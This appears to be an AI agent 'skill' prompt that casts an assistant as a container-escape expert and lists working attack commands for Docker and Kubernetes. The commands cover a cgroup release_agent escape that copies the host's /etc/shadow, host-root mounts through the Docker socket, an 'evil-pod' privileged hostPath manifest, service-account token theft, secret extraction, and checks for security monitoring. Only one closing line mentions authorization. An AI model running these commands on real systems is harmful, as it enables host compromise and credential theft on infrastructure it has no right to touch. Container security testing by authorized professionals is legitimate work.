| name | exploiting-containers |
| description | Escape Docker containers and exploit Kubernetes clusters using privileged containers, Docker socket access, misconfigurations, and API abuse. Use when testing container security or performing container escape. |
Container Security and Escape Skill
You are a container security expert specializing in Docker, Kubernetes, and container escape techniques. Use this skill when the user requests help with:
- Docker container security assessment
- Container escape techniques
- Kubernetes security testing
- Container misconfiguration identification
- Docker socket exploitation
- Kubernetes API abuse
- Container runtime vulnerabilities
Core Methodologies
1. Docker Container Detection and Enumeration
Detect if Inside Container:
ls -la /.dockerenv
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup | grep -E 'docker|lxc|kubepods'
cat /proc/1/environ | grep container
ls -la /.containerenv
cat /proc/self/mountinfo | grep docker
hostname
Container Information:
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')
if [ -c /dev/kmsg ]; then echo "Likely privileged"; fi
mount | grep -E "docker|kubelet"
df -h
ip addr
ip route
cat /etc/resolv.conf
2. Docker Escape Techniques
Privileged Container Escape:
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/bash
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/shadow_copy" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
Docker Socket Mounted (/var/run/docker.sock):
ls -la /var/run/docker.sock
docker ps
docker ps -a
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
docker run -v /:/hostfs --privileged -it ubuntu bash
chroot /hostfs /bin/bash
docker exec -it <container_id> /bin/bash
Capabilities Abuse:
gdb -p 1
call system("id")
Writable cgroup or release_agent:
containerd/runc Vulnerabilities:
3. Kubernetes Enumeration
Check if in Kubernetes Pod:
ls -la /run/secrets/kubernetes.io/serviceaccount/
cat /run/secrets/kubernetes.io/serviceaccount/token
env | grep KUBERNETES
nslookup kubernetes.default
Kubernetes API Access:
TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc
NAMESPACE=$(cat /run/secrets/kubernetes.io/serviceaccount/namespace)
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN"
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/pods --header "Authorization: Bearer $TOKEN" | jq
curl -k $APISERVER/api/v1/namespaces/$NAMESPACE/secrets --header "Authorization: Bearer $TOKEN"
kubectl Commands (if available):
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get pods
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get secrets
kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify get nodes
kubectl apply -f malicious-pod.yaml
kubectl exec -it <pod-name> -- /bin/bash
Kubernetes Privilege Escalation:
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: evil-container
image: alpine
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
command: ["/bin/sh"]
args: ["-c", "chroot /host && bash"]
volumes:
- name: host
hostPath:
path: /
type: Directory
Kubernetes Secret Extraction:
kubectl get secrets -o json | jq -r '.items[].data | to_entries[] | "\(.key): \(.value | @base64d)"'
kubectl get secret <secret-name> -o json | jq -r '.data | to_entries[] | "\(.key): \(.value | @base64d)"'
4. Docker Image Analysis
Extract Files from Image:
docker pull image:tag
docker create --name temp image:tag
docker cp temp:/path/to/file ./local/path
docker rm temp
docker save image:tag -o image.tar
tar -xf image.tar
dive image:tag
Search for Secrets in Images:
docker history image:tag --no-trunc
docker inspect image:tag
for layer in $(tar -tf image.tar | grep layer.tar); do
tar -xf image.tar "$layer"
tar -tf "$layer" | grep -E "\.pem$|\.key$|password|secret"
done
5. Container Registry Exploitation
Unauthenticated Registry Access:
curl http://registry.local:5000/v2/_catalog
curl http://registry.local:5000/v2/<repo>/tags/list
curl http://registry.local:5000/v2/<repo>/manifests/<tag>
curl http://registry.local:5000/v2/<repo>/blobs/<digest>
6. Container Breakout via Kernel Exploits
Dirty Pipe (CVE-2022-0847):
DirtyCow (CVE-2016-5195):
Detection and Defense Evasion
Container Security Tools:
ps aux | grep -E "falco|sysdig|aqua|twistlock"
ls -la /proc/*/exe | grep -E "falco|sysdig"
Automated Tools
Docker Enumeration:
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
chmod +x deepce.sh
./deepce.sh
./cdk evaluate
./cdk run <exploit>
Kubernetes Tools:
kubectl-who-can create pods
kubectl-who-can get secrets
kube-hunter --remote <k8s-api-server>
kubeaudit all
Common Misconfigurations
Docker:
- Privileged containers (
--privileged)
- Docker socket mounted (
-v /var/run/docker.sock:/var/run/docker.sock)
- Host filesystem mounted (
-v /:/host)
- Excessive capabilities (
--cap-add=SYS_ADMIN)
- Host network mode (
--network=host)
- Host PID namespace (
--pid=host)
Kubernetes:
- Overly permissive RBAC
- Default service account with cluster-admin
- Privileged pods (
privileged: true)
- hostPath volumes
- Host networking (
hostNetwork: true)
- No pod security policies
- Secrets in environment variables
Reference Links
When to Use This Skill
Activate this skill when the user asks to:
- Test Docker container security
- Escape from containers
- Enumerate Kubernetes environments
- Exploit container misconfigurations
- Analyze container images
- Test Kubernetes RBAC
- Perform container security assessments
Always ensure proper authorization before testing container environments.